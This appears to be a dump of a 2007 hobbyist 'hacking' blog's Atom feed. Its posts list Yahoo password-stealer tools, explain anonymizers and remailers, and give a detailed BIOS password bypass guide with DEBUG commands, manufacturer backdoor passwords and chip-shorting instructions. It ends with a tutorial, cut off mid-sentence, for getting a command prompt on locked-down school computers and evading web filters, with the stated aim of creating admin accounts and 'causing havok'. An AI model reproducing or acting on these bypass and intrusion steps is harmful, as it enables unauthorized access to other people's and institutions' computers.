href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7059414753035178232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7059414753035178232'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/netbios-basic-tutorial.html' title='NetBios Basic Tutorial !'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4626797343951583877</id><published>2007-08-27T08:27:00.000-07:00</published><updated>2007-08-27T08:28:14.376-07:00</updated><title type='text'>Some tool names</title><content type='html'>Hackers tools a reference ! BEWARE !!&lt;br /&gt;&lt;br /&gt;AAh!!&lt;br /&gt;&lt;br /&gt;The following tools m gonna list now are some of the dangerous tools available on www, which may be used on u by an unethical hacker. I want you to be well aware of all the possibilities.&lt;br /&gt;&lt;br /&gt;They are Free to download and it takes seconds to crush up personal computer if wired online, m not disclosing the links to these tools .&lt;br /&gt;&lt;br /&gt;Lord PS&lt;br /&gt;Lord PS is an editor that will create a password stealer/virus that emails you the passwords with tons of options, options may include taking over ur entire pc and disallowing u to access any of the files&lt;br /&gt;&lt;br /&gt;Hosein PS v1.6&lt;br /&gt;Does the same job with above with less options/features, another yahoo pass stealer&lt;br /&gt;&lt;br /&gt;Fucker PS&lt;br /&gt;This is a strong multi-password stealer that will grab passwords from all the most commonly used programs/services, msn, yahoo etc&lt;br /&gt;&lt;br /&gt;JPS v1.8&lt;br /&gt;Another password grabber/stealer - e mailer that is more focuced on Yahoo messenger&lt;br /&gt;&lt;br /&gt;Demon PS v2.3&lt;br /&gt;Yahoo messenger password stealer/mailer with anti virus kill options&lt;br /&gt;and other system features&lt;br /&gt;&lt;br /&gt;Tro messenger&lt;br /&gt;&lt;br /&gt;The big Boss , used with Yahoo messenger lets u take over victims Pc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Many more exists,will be disclosing all of them&lt;br /&gt;Even u can contribute&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4626797343951583877?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4626797343951583877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4626797343951583877' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4626797343951583877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4626797343951583877'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/some-tool-names.html' title='Some tool names'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-537950041622659257</id><published>2007-08-27T08:26:00.000-07:00</published><updated>2007-08-27T08:27:11.334-07:00</updated><title type='text'>Find who is Invisible on Yahoo messenger</title><content type='html'>Find who is Invisible on Yahoo messenger&lt;br /&gt;Just go to&lt;br /&gt;&lt;br /&gt;http://www.invisible.ir&lt;br /&gt;&lt;br /&gt;and enter victims Yahoo! ID… Click go and you are done!&lt;br /&gt;credit : site contributer :&lt;br /&gt;&lt;br /&gt;it works !!&lt;br /&gt;&lt;br /&gt;Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline,they may in the 'Invisible' mode.This maybe if they are trying to ignore you or are too busy to talk to anyone.&lt;br /&gt;&lt;br /&gt;There is this small trick that you can use to find out what the truth is.&lt;br /&gt;&lt;br /&gt;Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check.The chat window will open obviously.&lt;br /&gt;&lt;br /&gt;Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.&lt;br /&gt;After loading the Doodle imvironment there can be two possibilities&lt;br /&gt;&lt;br /&gt;1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:&lt;br /&gt;&lt;br /&gt;Find who is Invisible on Yahoo messenger - The Ethical Hacking 2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below.So you know that the user is online.&lt;br /&gt;&lt;br /&gt;Find who is Invisible on Yahoo messenger - The Ethical Hacking&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternate Method:&lt;br /&gt;&lt;br /&gt;Chose a person you want to check .Double click to open the chat window.Now simply invite the person for a voice conference.This is done by clicking on the "conference' button on the top of the chat window.&lt;br /&gt;If the talk button appears and turns green then that person is online.But if you receive the message 'Voice chat could not be started ' then the person is offline.&lt;br /&gt;&lt;br /&gt;Note:Some people use softwares like buddy spy to check who is invisible.I DONT RECOMMEND you to use such third party softwares as they can expose your Pc to hackers by sending your personal information and can even steal information from your Pc.So avoid such softwares and instead use the simple tricks given above.&lt;br /&gt;&lt;br /&gt;If you have any queries or would like to make some useful contribution to this topic feel free to drop a line in the comments section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-537950041622659257?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/537950041622659257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=537950041622659257' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/537950041622659257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/537950041622659257'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/find-who-is-invisible-on-yahoo.html' title='Find who is Invisible on Yahoo messenger'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-7482772980295074207</id><published>2007-08-27T08:22:00.000-07:00</published><updated>2007-08-27T20:52:51.268-07:00</updated><title type='text'>Some damn things</title><content type='html'>Anonymizers and Remailers !! What n How&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anonymizers are online services that eliminate the trail of information that you leave behind, whilst surfing, so that your online activities cannot be traced back to you. The anonymizers vary in sophistication depending on the level of security and number of features that you require. Some anonymizers require the use of client software and others only require that you log onto their website before browsing other sites*.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do Anonymizers work?&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You essentially surf the Web through the anonymizer site, going to that site first and then routing all your pages from there. When you send a page request through the anonymizer, it acts like a super-proxy server, stripping off the header of each data packet, thus making your request anonymous. The requested page is then fed through the anonymizer back to your Web browser**.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In order to avoid being tracked, one can use an anonymous proxy to surf the web. An anonymous proxy makes sure your IP address does not get stored on the web server logs. Web servers log every ?GET? request made, together with date, hour, and IP. But if you are accessing the Internet through a proxy server, then the IP of the proxy is logged and not yours.&lt;br /&gt;In case you do not go through an anonymous proxy, then you are actually risking vital information that belongs to you. For example, a hacker can easily find out your IP Address, your web browser, your Operating System and even the previous URL that you have visited. You can also be easily located geographically (provided one has the necessary software tools) because people can find out a whole lot of things that give your location. Like your hostname, your continent, your country, your city and even your Internet Service Provider.&lt;br /&gt;Consider the scenario where a hacker gets access to your computer, he can find out your name, email address, telephone number, various user ID's and passwords, details about software you use and your preferences, locations of files and folders, the search strings that you used and literally hundreds of other personal things. All this information is stored in files like SYSTEM.ini, USER.dat, SYSTEM.dat etc. One very important file is the nsform??.TMP which stores all the data inside every Netscape form you've ever submitted, with and without SSL, when the submission failed or was cancelled.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What are Re-mailers?&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anonymous Re-mailers are services used to send e-mail messages, so that the recipient of the e-mail cannot determine the identity of the sender. Re-mailers strip off header information leading to the identity of the sender and often route a message through a chain of re-mailers before reaching the recipient. Many re-mailers also include some sort of message based encryption. Re-mailers are commonly used to protect the anonymity if the sender from the recipient, to prevent eavesdropping by a third party, or to post anonymously to newsgroups*.&lt;br /&gt; &lt;br /&gt;How do Re-mailers Work?&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An anonymous re-mailer is simply a computer connected to the Internet that forwards electronic mail or files to other addresses on the network. It also strips off the "header" part of the messages, which shows where they came from and who sent them. All the receiver can tell about a message's origin is that it passed through the re-mailer. Some re-mailers also allocate each sender an "anonymous ID", rather like a PO Box number, which it stores with the sender's address so that any replies reach them.***&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All re-mailers are fairly effective at what they do and some even take an extra step and add encryption to all outgoing messages. In order to view header information sent via email messages in Outlook Express, select a message in your inbox, then select File | Properties | Details.&lt;br /&gt;To view header information in m*c*s*t Outlook, right-click a message in your inbox and select Options; the header information is displayed in the Internet Headers area of the Message Options dialog box.&lt;br /&gt;&lt;br /&gt;Anonymous re-mailers were invented by security experts interested to know whether it was possible to send a message on the Internet which could not be traced back to its source. As soon as the first ones were built, though, people found a more pragmatic use for them: to send messages to bulletin boards about subjects so sensitive that they did not want their names known.&lt;br /&gt;&lt;br /&gt;Clear BIOS Password, All tricks !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**** New Trick **** : &lt;br /&gt;&lt;br /&gt;At command prompt type debug&lt;br /&gt;you will get a - prompt where you can type the fallowing ( means hit enter, not type enter*)&lt;br /&gt;&lt;br /&gt;A&lt;br /&gt;MOV AX,0&lt;br /&gt;MOV AX,CX&lt;br /&gt;OUT 70,AL&lt;br /&gt;MOV AX,0&lt;br /&gt;OUT 71,AL&lt;br /&gt;INC CX&lt;br /&gt;CMP CX,100&lt;br /&gt;JB 103&lt;br /&gt;INT 20&lt;br /&gt;just hit enter on this line&lt;br /&gt;G&lt;br /&gt;Q&lt;br /&gt;&lt;br /&gt;Basic BIOS password crack - works 9.9 times out of ten&lt;br /&gt;&lt;br /&gt;This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:&lt;br /&gt;Get DOS prompt and type:&lt;br /&gt;DEBUG hit enter&lt;br /&gt;-o 70 2e hit enter&lt;br /&gt;-o 71 ff hit enter&lt;br /&gt;-q hit enter&lt;br /&gt;exit hit enter&lt;br /&gt;Restart the computer. It works on most versions of the AWARD BIOS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Accessing information on the hard disk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE &amp; EXIT SETUP. Now you have access to the hard disk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Standard BIOS backdoor passwords&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:&lt;br /&gt;AWARD BIOS&lt;br /&gt;AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%&lt;br /&gt;AMI BIOS&lt;br /&gt;AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder&lt;br /&gt;Other passwords you may try (for AMI/AWARD or other BIOSes)&lt;br /&gt;LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj&lt;br /&gt;Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Flashing BIOS via software&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.&lt;br /&gt;However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:&lt;br /&gt;AMI/AWARD BIOS&lt;br /&gt;O 70 17&lt;br /&gt;O 71 17&lt;br /&gt;Q&lt;br /&gt;PHOENIX BIOS&lt;br /&gt;O 70 FF&lt;br /&gt;O 71 17&lt;br /&gt;Q&lt;br /&gt;GENERIC&lt;br /&gt;Invalidates CMOS RAM.&lt;br /&gt;Should work on all AT motherboards&lt;br /&gt;(XT motherboards don't have CMOS)&lt;br /&gt;O 70 2E&lt;br /&gt;O 71 FF&lt;br /&gt;Q&lt;br /&gt;Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Flashing BIOS via hardware&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using the jumpers&lt;br /&gt;&lt;br /&gt;The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.&lt;br /&gt;&lt;br /&gt;To find the correct jumper you should read the motherboard's manual.&lt;br /&gt;Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.&lt;br /&gt;&lt;br /&gt;If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.&lt;br /&gt;&lt;br /&gt;If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.&lt;br /&gt;&lt;br /&gt;Removing the battery&lt;br /&gt;&lt;br /&gt;If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.&lt;br /&gt;&lt;br /&gt;Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.&lt;br /&gt;Short-circuiting the chip&lt;br /&gt;Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.&lt;br /&gt;CHIPS P82C206 (square)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).&lt;br /&gt;gnd&lt;br /&gt;74&lt;br /&gt;|__________________&lt;br /&gt;5v 75--| |&lt;br /&gt;| |&lt;br /&gt;| |&lt;br /&gt;| CHIPS |&lt;br /&gt;1 * | |&lt;br /&gt;| P82C206 |&lt;br /&gt;| |&lt;br /&gt;| |&lt;br /&gt;|___________________|&lt;br /&gt;| |&lt;br /&gt;| gnd | 5v&lt;br /&gt;12 32&lt;br /&gt;OPTi F82C206 (rectangular)&lt;br /&gt;Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).&lt;br /&gt;80 51&lt;br /&gt;|______________|&lt;br /&gt;81 -| |- 50&lt;br /&gt;| |&lt;br /&gt;| |&lt;br /&gt;| OPTi |&lt;br /&gt;| |&lt;br /&gt;| F82C206 |&lt;br /&gt;| |&lt;br /&gt;100-|________________|-31&lt;br /&gt;|| | |&lt;br /&gt;1 || | | 30&lt;br /&gt;3 26&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dallas DS1287, DS1287A&lt;br /&gt;Benchmarq bp3287MT, bq3287AMT&lt;br /&gt;The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.&lt;br /&gt;CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.&lt;br /&gt;&lt;br /&gt;The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.&lt;br /&gt;__________&lt;br /&gt;1 -| * U |- 24 5v&lt;br /&gt;2 -| |- 23&lt;br /&gt;3 -| |- 22&lt;br /&gt;4 -| |- 21 RCL (RAM Clear)&lt;br /&gt;5 -| |- 20&lt;br /&gt;6 -| |- 19&lt;br /&gt;7 -| |- 18&lt;br /&gt;8 -| |- 17&lt;br /&gt;9 -| |- 16&lt;br /&gt;10 -| |- 15&lt;br /&gt;11 -| |- 14&lt;br /&gt;gnd 12 -|__________|- 13&lt;br /&gt;&lt;br /&gt;NOTE: Although these are 24-pin chips,&lt;br /&gt;the Dallas chips may be missing 5 pins,&lt;br /&gt;these are unused pins.&lt;br /&gt;Most chips have unused pins,&lt;br /&gt;though usually they are still present.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dallas DS12885S&lt;br /&gt;Benchmarq bq3258S&lt;br /&gt;Hitachi HD146818AP&lt;br /&gt;Samsung KS82C6818A&lt;br /&gt;This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.&lt;br /&gt;Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.&lt;br /&gt;Short together pins 12 and 24.&lt;br /&gt;5v&lt;br /&gt;24 20 13&lt;br /&gt;|___________|____________________|&lt;br /&gt;| |&lt;br /&gt;| DALLAS |&lt;br /&gt;|&gt; |&lt;br /&gt;| DS12885S |&lt;br /&gt;| |&lt;br /&gt;|__________________________________|&lt;br /&gt;| |&lt;br /&gt;1 12&lt;br /&gt;gnd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Motorola MC146818AP&lt;br /&gt;Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.&lt;br /&gt;__________&lt;br /&gt;1 -| * U |- 24 5v&lt;br /&gt;2 -| |- 23&lt;br /&gt;3 -| |- 22&lt;br /&gt;4 -| |- 21&lt;br /&gt;5 -| |- 20&lt;br /&gt;6 -| |- 19&lt;br /&gt;7 -| |- 18&lt;br /&gt;8 -| |- 17&lt;br /&gt;9 -| |- 16&lt;br /&gt;10 -| |- 15&lt;br /&gt;11 -| |- 14&lt;br /&gt;gnd 12 -|__________|- 13&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Replacing the chip&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Important&lt;br /&gt;Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.&lt;br /&gt;Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Key Disk for Toshiba laptops&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Key protected cases&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.&lt;br /&gt;&lt;br /&gt;That's all.&lt;br /&gt;&lt;br /&gt;Clear Cmos, jumper.That is the way how I solve problem when customer forgets password.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;More&lt;br /&gt;&lt;br /&gt;There are a few different ways to reset the cmos, here's a few:&lt;br /&gt;&lt;br /&gt;1. there are many default common passwords,&lt;br /&gt;such as:&lt;br /&gt;&lt;br /&gt;At boot-up note the BIOS provider (Award, AMI, Phoenix, IBM, etc.)&lt;br /&gt;&lt;br /&gt;For Award BIOS' try these backdoor passwords:&lt;br /&gt;&lt;br /&gt;AWARD_SW&lt;br /&gt;j262&lt;br /&gt;HLT&lt;br /&gt;SER&lt;br /&gt;SKY_FOX&lt;br /&gt;BIOSTAR&lt;br /&gt;ALFAROME&lt;br /&gt;Lkwpeter&lt;br /&gt;j256&lt;br /&gt;AWARD?SW&lt;br /&gt;LKWPETER&lt;br /&gt;syxz&lt;br /&gt;ALLy&lt;br /&gt;589589&lt;br /&gt;589721&lt;br /&gt;awkward&lt;br /&gt;CONCAT&lt;br /&gt;d8on&lt;br /&gt;CONDO&lt;br /&gt;j64&lt;br /&gt;szyx&lt;br /&gt;&lt;br /&gt;For AMI BIOS' try these backdoor passwords:&lt;br /&gt;&lt;br /&gt;AMI&lt;br /&gt;BIOS&lt;br /&gt;PASSWORD&lt;br /&gt;HEWITT RAND&lt;br /&gt;AMI?SW&lt;br /&gt;AMI_SW&lt;br /&gt;LKWPETER&lt;br /&gt;A.M.I.&lt;br /&gt;CONDO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For PHOENIX BIOS' try this backdoor password:&lt;br /&gt;&lt;br /&gt;phoenix&lt;br /&gt;&lt;br /&gt;there are too many to count here's a list&lt;br /&gt;http://www.phenoelit.de/dpl/dpl.html&lt;br /&gt;(search for PC BIOS)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. On some older PC's pressing the insert key upon startup will clear&lt;br /&gt;the CMOS, make sure you hold it down till it's done booting.&lt;br /&gt;&lt;br /&gt;3. Another way which we pretty much already covered, was to pull the&lt;br /&gt;metallic nickel looking battery that supplies power to the CMOS.&lt;br /&gt;&lt;br /&gt;4. Some times there is a small three pin jumper used to reset the bios,&lt;br /&gt;just move the black little pin cover to the opposite two pins.&lt;br /&gt;(Make sure to read the motherboards manual before this)&lt;br /&gt;&lt;br /&gt;5. If the battery is soldered in you can take a soldering iron to it but&lt;br /&gt;I don't recommend it unless you are a professional.&lt;br /&gt;&lt;br /&gt;6. there are a few programs out on the net which are made to crack&lt;br /&gt;certain types of bios passwords, I have one for award BIOS's here's a&lt;br /&gt;couple:&lt;br /&gt;&lt;br /&gt;http://www.11a.nu/ibios.htm&lt;br /&gt;&lt;br /&gt;http://natan.zejn.si/rempass.html&lt;br /&gt;&lt;br /&gt;Good reading:&lt;br /&gt;http://www.astalavista.com/library/...ios_hacking.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.virtualplastic.net/html/misc_bios.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Hacking your School, College&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;getting over the blocked sites&lt;br /&gt;&lt;br /&gt;u can try google translator .. or one proxy which i found intresting was greenpips.com try that or . try this http://64.233.179.104/translate_c?hl=de&amp;ie=UTF-8&amp;oe=UTF-8&amp;langpair=de%7Cen&amp;u=http://www.your website.com/ change the last part to the website you like to access&lt;br /&gt;&lt;br /&gt;contributed by&lt;br /&gt;Muhajir.K.M&lt;br /&gt;&lt;br /&gt;Hacking at school&lt;br /&gt;&lt;br /&gt;This tutorial is aimed at school servers running Windows underneath (most of them do). It works definitely with Windows 98, 2000, Me, and XP. never tried it with 95, but it should work anyway. However, schools can stop Batch files from working, but it is very uncommon for them to be that switched on.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are problems with school servers, and they mostly come back to the basic architecture of the system - so the admins are unlikely to do anything about it! In this article I will discuss how to bypass web filtering software at school, send messages everywhere you want, create admin accounts, modify others' accounts, and generally cause havok. Please note that I ahve refrained from giving away information that will actually screw up your school server, though intelligent thinkers will work it out. THis is because, for god sakes, this is a school! Don't screw them up!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to get it all moving&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An MS-DOS prompt is the best way to do stuff, because most admins don't think its possible to get them and, if they do, they just can't do anything much about it.&lt;br /&gt;&lt;br /&gt;First, open a notepad file (if your school blocks notepad, open a webpage, right click and go to view source. hey presto, notepad!). Now, write&lt;br /&gt;&lt;br /&gt;command.com&lt;br /&gt;&lt;br /&gt;and save the file as batch.bat, or anything with the extension .bat . Open this file and it will give you a command prompt:) (for more information on why this works, look to the end of the article). REMEMBER TO DELETE THIS FILE ONCE YOU'VE FINISHED!!! if the admins see it, they will kill you;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bypassing that pesky web filtering&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, now you've got a command prompt, it's time to visit whatever site you want. Now, there are plenty of ways to bypass poorly constructed filtering, but I'm going to take it for granted that your school has stopped these. This one, as far as I know, will never be stopped.&lt;br /&gt;&lt;br /&gt;in your command prompt, type&lt;br /&gt;&lt;br /&gt;ping hackthissite.org&lt;br /&gt;&lt;br /&gt;or anything else you wanna visit. Now you should have a load of info, including delay times and, most importantly, an IP address for the website. Simply type this IP address into the address bar, preceded by http://, and you'll be able to access the page!&lt;br /&gt;&lt;br /&gt;For example: http://197.57.189.10 etc.&lt;br /&gt;&lt;br /&gt;Now, I've noticed a lot of people have been saying that there are other ways to bypass web filtering, and there are. I am only mentioning the best method I know. Others you might want to try are:&lt;br /&gt;&lt;br /&gt;1) Using a translator, like Altavista's Babel fish, to translate the page from japanese of something to english. This will bypass the filtering and won't translate the page, since it's already in English.&lt;br /&gt;&lt;br /&gt;2) When you search up the site on Google, there will be a link saying 'Cache'. Click that and you should be 